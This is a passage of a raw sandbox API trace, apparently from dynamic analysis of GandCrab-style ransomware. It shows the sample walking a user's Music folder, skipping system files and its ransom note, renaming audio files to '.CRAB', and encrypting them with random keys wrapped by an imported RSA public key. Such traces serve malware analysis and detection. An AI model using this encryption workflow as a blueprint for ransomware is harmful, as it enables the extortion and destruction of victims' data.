	[0130.327] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff692e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.327] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x96e0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x96e0, lpOverlapped=0x0) returned 1
	[0130.328] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.328] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.332] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.332] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.332] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0130.332] CloseHandle (hObject=0x3ec) returned 1
	[0130.332] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.333] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.333] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.333] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.333] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.334] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.334] FindNextFileW (in: hFindFile=0x320f710, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.334] lstrcmpW (lpString1="YiL7BiS7Bh0uLbqPka.wav", lpString2=".") returned 1
	[0130.334] lstrcmpW (lpString1="YiL7BiS7Bh0uLbqPka.wav", lpString2="..") returned 1
	[0130.334] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\", lpString2="YiL7BiS7Bh0uLbqPka.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav"
	[0130.334] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.334] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav") returned 58
	[0130.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav") returned 58
	[0130.334] lstrlenW (lpString=".wav") returned 4
	[0130.335] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.335] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0130.335] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.335] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav") returned 58
	[0130.335] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav") returned 58
	[0130.335] lstrcmpiW (lpString1="YiL7BiS7Bh0uLbqPka.wav", lpString2="desktop.ini") returned 1
	[0130.335] lstrcmpiW (lpString1="YiL7BiS7Bh0uLbqPka.wav", lpString2="autorun.inf") returned 1
	[0130.335] lstrcmpiW (lpString1="YiL7BiS7Bh0uLbqPka.wav", lpString2="ntuser.dat") returned 1
	[0130.335] lstrcmpiW (lpString1="YiL7BiS7Bh0uLbqPka.wav", lpString2="iconcache.db") returned 1
	[0130.335] lstrcmpiW (lpString1="YiL7BiS7Bh0uLbqPka.wav", lpString2="bootsect.bak") returned 1
	[0130.336] lstrcmpiW (lpString1="YiL7BiS7Bh0uLbqPka.wav", lpString2="boot.ini") returned 1
	[0130.336] lstrcmpiW (lpString1="YiL7BiS7Bh0uLbqPka.wav", lpString2="ntuser.dat.log") returned 1
	[0130.336] lstrcmpiW (lpString1="YiL7BiS7Bh0uLbqPka.wav", lpString2="thumbs.db") returned 1
	[0130.336] lstrcmpiW (lpString1="YiL7BiS7Bh0uLbqPka.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0130.336] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.336] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav.CRAB") returned 63
	[0130.336] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\4glwol0\\yil7bis7bh0ulbqpka.wav")) returned 0x20
	[0130.336] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav", dwFileAttributes=0x20) returned 1
	[0130.337] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\4glwol0\\yil7bis7bh0ulbqpka.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\4glwol0\\yil7bis7bh0ulbqpka.wav.crab")) returned 1
	[0130.338] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.338] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav.CRAB"
	[0130.338] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav.CRAB.CRAB"
	[0130.338] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e738) returned 1
	[0130.341] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.341] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.341] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.342] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0130.342] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0130.342] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.342] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0130.345] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.345] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.345] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.345] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0130.345] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.345] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.346] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.346] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.346] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0130.349] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f8d0) returned 1
	[0130.349] CryptGetKeyParam (in: hKey=0x320f8d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.349] CryptEncrypt (in: hKey=0x320f8d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0130.349] GetLastError () returned 0x0
	[0130.349] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0130.349] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e738) returned 1
	[0130.352] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320fbd0) returned 1
	[0130.352] CryptGetKeyParam (in: hKey=0x320fbd0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.352] CryptEncrypt (in: hKey=0x320fbd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0130.352] GetLastError () returned 0x0
	[0130.352] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0130.352] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\YiL7BiS7Bh0uLbqPka.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\4glwol0\\yil7bis7bh0ulbqpka.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0130.352] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.353] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.353] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x7816, lpOverlapped=0x0) returned 1
	[0130.365] VirtualAlloc (lpAddress=0x0, dwSize=0x7820, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.365] VirtualAlloc (lpAddress=0x0, dwSize=0x7820, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0130.366] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.367] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff87ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.367] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x7820, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x7820, lpOverlapped=0x0) returned 1
	[0130.367] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.367] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.371] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.371] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.371] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0130.371] CloseHandle (hObject=0x3ec) returned 1
	[0130.371] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.372] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.372] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.372] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.372] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.373] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.373] FindNextFileW (in: hFindFile=0x320f710, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0130.373] FindClose (in: hFindFile=0x320f710 | out: hFindFile=0x320f710) returned 1
	[0130.373] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.373] lstrcmpW (lpString1="5mWME.mp3", lpString2=".") returned 1
	[0130.373] lstrcmpW (lpString1="5mWME.mp3", lpString2="..") returned 1
	[0130.373] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="5mWME.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3"
	[0130.373] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.373] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3") returned 37
	[0130.374] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3") returned 37
	[0130.374] lstrlenW (lpString=".mp3") returned 4
	[0130.374] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.374] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp3 ") returned 5
	[0130.374] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.374] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3") returned 37
	[0130.374] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3") returned 37
	[0130.374] lstrcmpiW (lpString1="5mWME.mp3", lpString2="desktop.ini") returned -1
	[0130.374] lstrcmpiW (lpString1="5mWME.mp3", lpString2="autorun.inf") returned -1
	[0130.374] lstrcmpiW (lpString1="5mWME.mp3", lpString2="ntuser.dat") returned -1
	[0130.374] lstrcmpiW (lpString1="5mWME.mp3", lpString2="iconcache.db") returned -1
	[0130.374] lstrcmpiW (lpString1="5mWME.mp3", lpString2="bootsect.bak") returned -1
	[0130.375] lstrcmpiW (lpString1="5mWME.mp3", lpString2="boot.ini") returned -1
	[0130.375] lstrcmpiW (lpString1="5mWME.mp3", lpString2="ntuser.dat.log") returned -1
	[0130.375] lstrcmpiW (lpString1="5mWME.mp3", lpString2="thumbs.db") returned -1
	[0130.375] lstrcmpiW (lpString1="5mWME.mp3", lpString2="CRAB-DECRYPT.txt") returned -1
	[0130.375] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.375] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3.CRAB") returned 42
	[0130.375] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5mwme.mp3")) returned 0x20
	[0130.375] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3", dwFileAttributes=0x20) returned 1
	[0130.376] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5mwme.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5mwme.mp3.crab")) returned 1
	[0130.376] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.377] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3.CRAB"
	[0130.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3.CRAB.CRAB"
	[0130.377] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0130.380] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.380] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.380] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.381] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0130.381] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0130.381] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.381] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0130.384] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.384] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.384] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.384] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0130.384] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0130.384] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.389] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.389] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.390] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0130.393] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320fb10) returned 1
	[0130.393] CryptGetKeyParam (in: hKey=0x320fb10, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0130.393] CryptEncrypt (in: hKey=0x320fb10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0130.393] GetLastError () returned 0x0
	[0130.393] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.393] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0130.396] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320f910) returned 1
	[0130.396] CryptGetKeyParam (in: hKey=0x320f910, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0130.396] CryptEncrypt (in: hKey=0x320f910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0130.397] GetLastError () returned 0x0
	[0130.397] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0130.397] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5mWME.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5mwme.mp3.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0130.397] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.397] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.398] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0xa6a6, lpOverlapped=0x0) returned 1
	[0130.411] VirtualAlloc (lpAddress=0x0, dwSize=0xa6b0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.412] VirtualAlloc (lpAddress=0x0, dwSize=0xa6b0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0130.413] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.413] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff595a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.413] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xa6b0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0xa6b0, lpOverlapped=0x0) returned 1
	[0130.414] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.414] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.418] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.418] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.418] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0130.418] CloseHandle (hObject=0x3e8) returned 1
	[0130.419] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.419] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.419] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.420] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.420] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.420] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.420] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.420] lstrcmpW (lpString1="9pNs3Jr4D", lpString2=".") returned 1
	[0130.420] lstrcmpW (lpString1="9pNs3Jr4D", lpString2="..") returned 1
	[0130.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="9pNs3Jr4D" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D"
	[0130.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\"
	[0130.421] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.421] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
